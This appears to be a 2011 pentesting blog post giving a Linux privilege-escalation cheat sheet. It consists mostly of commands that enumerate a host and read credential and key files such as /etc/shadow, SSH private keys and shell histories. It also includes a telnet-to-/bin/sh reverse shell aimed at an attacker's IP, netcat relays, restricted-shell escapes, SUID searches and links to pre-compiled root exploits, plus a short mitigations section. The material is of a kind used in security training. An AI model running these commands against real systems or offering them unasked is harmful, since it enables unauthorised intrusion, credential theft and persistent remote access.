Basic Linux Privilege Escalation

Before starting, I would like to point out - **I'm no expert**. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared *(my starting point)*. Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a **basic & rough guide**. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that *"little thing"* as "*the devil is in the detail*".

Enumeration is the key.

(Linux) privilege escalation is all about:

- Collect - ***Enumeration***, *more enumeration and some more enumeration.*
- Process - *Sort through data,* ***analyse*** *and prioritisation.*
- Search - *Know what to search for and where to* ***find*** *the exploit code.*
- Adapt - ***Customize*** *the exploit, so it fits. Not every exploit work for every system "out of the box".*
- Try - *Get ready for (lots of)* ***trial and error***.

Operating System

What's the distribution type? *What version?*

```
cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based
```

What's the kernel version? *Is it 64-bit?*

```
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
```

What can be learnt from the environmental variables?

```
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
```

Is there a printer?

```
lpstat -a
```

Applications & Services

What services are running? *Which service has which user privilege?*

```
ps aux
ps -ef
top
cat /etc/services
```

Which service(s) are been running by *root? Of these services, which are vulnerable - it's worth a double check!*

```

```

```
ps aux | grep root
ps -ef | grep root
```

What applications are installed? *What version are they? Are they currently running?*

```
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives0
ls -alh /var/cache/yum/
```

Any of the service(s) settings misconfigured? *Are any (vulnerable) plugins attached?*

```
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
```

What jobs are scheduled?

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

Any plain text usernames and/or passwords?

```
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
```

Communications & Networking

What NIC(s) does the system have? *Is it connected to another network?*

```
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
```

What are the network configuration settings? *What can you find out about this network? DHCP server? DNS server? Gateway?*

```
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
```

What other users & hosts are communicating with the system?

```
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
```

Whats cached? *IP and/or MAC addresses*

```
arp -e
route
/sbin/route -nee
```

Is packet sniffing possible? What can be seen? *Listen to live traffic*

```
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
```

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? *Can you interact with the system?*

```
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
```

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Is port forwarding possible? *Redirect and interact with traffic from another view*

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

```
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
```

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

```
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
```

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

```
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)
```

Is tunnelling possible? *Send commands locally, remotely*

```
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
```

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

```
id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l
```

What sensitive files can be found?

```
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
```

Anything "interesting" in the home directorie(s)? ***If it's possible to access***

```
ls -ahlR /root/
ls -ahlR /home/
```

Are there any passwords in; scripts, databases, configuration files or log files? ***Default paths and locations for passwords***

```
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
```

What has the user being doing? ***Is there any password in plain text? What have they been edting?***

```
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
```

What user information can be found?

```
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
```

Can private-key information be found?

```
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
```

File Systems

Which configuration files can be written in /etc/? *Able to reconfigure a service?*

```
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone
```

What can be found in /var/ ?

```
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
```

Any settings/files (hidden) on website? ***Any settings file with database information?***

```
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
```

Is there anything in the log file(s) *(Could help with "Local File Includes"!)*

```
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log,
```

```
    mail.warn, messages, syslog, udev, wtmp
```

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/

If commands are limited, you break out of the "jail" shell?

```
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
```

How are file-systems mounted?

```
mount
df -h
```

Are there any unmounted file-systems?

```
cat /etc/fstab
```

What "Advanced Linux File Permissions" are used? *Sticky bits, SUID & GUID*

```
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the
directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not
the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not
the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f
2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep,
list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

Where can written to and executed from? *A few 'common' places: /tmp, /var/tmp, /dev/shm*

```
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable &
executable folders
```

Any "problem" files? *Word-writeable, "nobody" files*

```
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable
files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files
```

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

```
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
```

How can files be uploaded?

```
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
```

Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit

http://www.cvedetails.com

`http://packetstormsecurity.org/files/cve/[CVE]`

`http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]`

`http://www.vulnview.com/cve-details.php?cvename=[CVE]`

(Quick) "Common" exploits. *Warning. Pre-compiled binaries files. Use at your own risk*

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

Mitigations

Is any of the above information easy to find?

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

Is the system fully patched?

Kernel, operating system, all applications, their plugins and web services

```
apt-get update && apt-get upgrade
yum update
```

Are services running with the minimum level of privileges required?

For example, do you need to run MySQL as root?

Scripts *Can any of this be automated?!*

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

Other (quick) guides & Links

Enumeration

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

Misc

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

Posted by g0tmi1k • Aug 2nd, 2011 12:00 am • bypassing, commands, privilege escalation

« Pentesting With BackTrack (PWB) + Offensive Security Certified Professional (OSCP)

De-ICE.net v1.2a (1.20a) {Level 1 - Disk 3 - Version A} »

Recent Posts

DVWA - Brute Force (High Level) - Anti-CSRF Tokens

DVWA - Brute Force (Medium Level) - Time Delay

DVWA Brute Force (Low Level) - HTTP GET Form [Hydra, Patator, Burp]

DVWA - Main Login Page - Brute Force HTTP POST Form With CSRF Tokens

Damn Vulnerable Web Application (DVWA)

Offensive Security Wireless Attacks (WiFu) + Offensive Security Wireless (OSWP)

Cracking the Perimeter (CTP) + Offensive Security Certified Expert (OSCE)

pWnOS 2 (PHP Web Application)

pWnOS 2 (SQL Injection)

21LTR - Scene 1

Stripe CTF 2.0 (Web Edition)

Kioptrix - Level 4 (Local File Inclusion)

Kioptrix - Level 4 (SQL Injection)

Kioptrix - Level 4 (Limited Shell)

Hackademic RTB2